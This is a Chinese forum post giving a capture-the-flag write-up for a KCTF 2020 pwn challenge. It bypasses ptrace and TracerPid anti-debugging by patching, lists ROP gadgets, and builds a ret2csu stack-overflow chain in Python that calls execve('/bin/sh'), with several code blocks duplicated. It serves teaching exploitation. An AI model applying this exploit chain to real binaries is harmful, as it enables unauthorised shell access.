首页
社区
课程
招聘
[原创]看雪2020 KCTF秋季赛 第九题 命悬一线writeup
发表于: 2020-12-8 19:08 7683

[原创]看雪2020 KCTF秋季赛 第九题 命悬一线writeup

2020-12-8 19:08
7683

图片描述

图片描述

图片描述
图片描述

图片描述
图片描述
图片描述
图片描述
图片描述
图片描述

CTF-WIKI-PWN-ret2csu

图片描述

图片描述

图片描述

图片描述

命悬一线?PWN!
命悬一线?PWN!
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# checksec pwn1
[*] '/mnt/hgfs/ShareDir/ctf/pwn1/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# checksec pwn1
[*] '/mnt/hgfs/ShareDir/ctf/pwn1/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
# (cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h) 查看系统调用号
sub_400CA8()有ptrace反调试,patch处理掉。
init_array中调用到sub_400E08()时,可以看到检查了sub_400E82()的结果,而sub_400E82()中原逻辑为返回TracerPid。如果检查不通过的话,系统调用sub_4017CC()方法将被更改...。解决方法有很多,我这边是在sub_400E82()中patch返回值为0,绕过检查。
# (cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h) 查看系统调用号
sub_400CA8()有ptrace反调试,patch处理掉。
init_array中调用到sub_400E08()时,可以看到检查了sub_400E82()的结果,而sub_400E82()中原逻辑为返回TracerPid。如果检查不通过的话,系统调用sub_4017CC()方法将被更改...。解决方法有很多,我这边是在sub_400E82()中patch返回值为0,绕过检查。
# 0x000000000040185b最长最牛,我们去他附近找找。
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
============================================================
0x000000000040185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401860 : pop r14 ; pop r15 ; ret
0x0000000000401862 : pop r15 ; ret
0x000000000040185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400a20 : pop rbp ; ret
0x0000000000400b60 : pop rbx ; pop rbp ; ret
0x0000000000401863 : pop rdi ; ret
0x0000000000401861 : pop rsi ; pop r15 ; ret
0x000000000040185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028c : ret
0x0000000000401757 : ret 0x1be
0x0000000000400c32 : ret 0x458b
0x0000000000400f07 : ret 0x858b
0x0000000000400c55 : ret 0x8b48
0x0000000000400da5 : ret 0xbe
# 0x000000000040185b最长最牛,我们去他附近找找。
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
============================================================
0x000000000040185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401860 : pop r14 ; pop r15 ; ret
0x0000000000401862 : pop r15 ; ret
0x000000000040185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040185f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400a20 : pop rbp ; ret
0x0000000000400b60 : pop rbx ; pop rbp ; ret
0x0000000000401863 : pop rdi ; ret
0x0000000000401861 : pop rsi ; pop r15 ; ret
0x000000000040185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040028c : ret
0x0000000000401757 : ret 0x1be
0x0000000000400c32 : ret 0x458b
0x0000000000400f07 : ret 0x858b
0x0000000000400c55 : ret 0x8b48
0x0000000000400da5 : ret 0xbe
经过测试,我们运行输入一段长度溢出的数据,动态调试断点执行到0x40169E,可以发现另一个利用点。总结一下就是,程序会把栈上一个地址的值保存到rax寄存器中,通过一番简单的赋值操作可以call一个指针指向的地址。而保存在栈上这个值是我们可以溢出覆盖到的,那么就意味着我们可以通过控制该值来调用任意一个指针指向的地址。如果能找到一个合适的指针就好了,该指针指向的任意地址也可以由我们控制,那就简单了。
经过测试,我们运行输入一段长度溢出的数据,动态调试断点执行到0x40169E,可以发现另一个利用点。总结一下就是,程序会把栈上一个地址的值保存到rax寄存器中,通过一番简单的赋值操作可以call一个指针指向的地址。而保存在栈上这个值是我们可以溢出覆盖到的,那么就意味着我们可以通过控制该值来调用任意一个指针指向的地址。如果能找到一个合适的指针就好了,该指针指向的任意地址也可以由我们控制,那就简单了。
仔细观察同学们可以发现,0x6020C0完全满足我们的要求,该指针地址保存了我们所有的输入,而这些输入的数据我们都可以控制。
仔细观察同学们可以发现,0x6020C0完全满足我们的要求,该指针地址保存了我们所有的输入,而这些输入的数据我们都可以控制。
# call execve 系统调用号为59 ,控制后两个参数为0
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
# call execve 系统调用号为59 ,控制后两个参数为0
root@ubuntu:/mnt/hgfs/ShareDir/ctf/pwn1# cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
# payload构造如下,常规的通用gadget利用方式不细说了,点上文传送阵学习,这里提一个点,需要一点小窍门绕过去
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = ''
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += '/bin/sh\x00' + 'A' * 0x28
    payload += p64(last)
    return payload
 
# 就是execve需要三个参数,而我们此时只能控制两个参数(常规通用gadget方式只能控制rdi、rsi、rdx三个寄存器,无法控制rcx)
# 调用号 rdi=edi=r15d=59 call execve
# 第一个参数rsi = r14 = 0x602120 (保存了/bin/sh)  
# 第二个参数rdx = r13 = 0
# !!我们这里需要控制第三个参数 rcx = 0 才能满足execve("/bin/sh", NULL, NULL)的条件
# 解决办法就是在内存中找到一个地址是# xor rcx, rcx; ret; 构造变形一下通用gadget的利用方式 在调用execve前 使rcx为0
syscall = 0x4017CC
payload = p64(syscall) + p64(csu_end_addr) + 'A' * 8
payload += p64(xor_rcx_ret_addr) + p64(csu_end_addr)
payload += csu(0, 1, 0x6020C0, 0, 0x602120, 59, main_addr)
payload += 'A' * 8
payload += p64(0x6020C8 - 0x18)
# payload构造如下,常规的通用gadget利用方式不细说了,点上文传送阵学习,这里提一个点,需要一点小窍门绕过去
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = ''
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += '/bin/sh\x00' + 'A' * 0x28
    payload += p64(last)
    return payload
 
# 就是execve需要三个参数,而我们此时只能控制两个参数(常规通用gadget方式只能控制rdi、rsi、rdx三个寄存器,无法控制rcx)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 5
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//